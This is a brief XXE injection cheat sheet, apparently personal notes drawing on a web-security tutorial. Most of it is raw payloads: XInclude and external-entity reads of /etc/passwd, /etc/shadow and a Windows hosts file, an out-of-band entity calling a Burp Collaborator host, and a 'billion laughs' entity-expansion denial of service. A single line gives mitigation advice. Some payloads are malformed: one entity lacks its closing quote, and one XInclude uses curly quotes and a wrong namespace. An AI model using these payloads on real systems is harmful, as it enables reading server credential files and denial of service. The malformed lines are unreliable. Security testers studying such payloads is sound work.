XXE

XInclude in XXE attack

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

<xi:include xmlns:xi=”http://www.w3.org/2003/XInclude” parse=”text”
href=”file://../../../../../../../../Windows/System32/drivers/etc/hosts”>
<xi:fallback>Oops!</xi:fallback>
</xi:include>

Mitigation: If possible disable XML extensions and entities expansion. Add proper rules for XML extensions that enable this same attack like XInclude and xop.

What is XXE (XML external entity) injection? Tutorial & Examples | Web Security AcademyWebSecAcademy

XXE payloads

Ping

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://ccccccccccccc.burpcollaborator.net/x">
%ext;
]>
<r></r>

File disclosure

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

Denial of Service

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>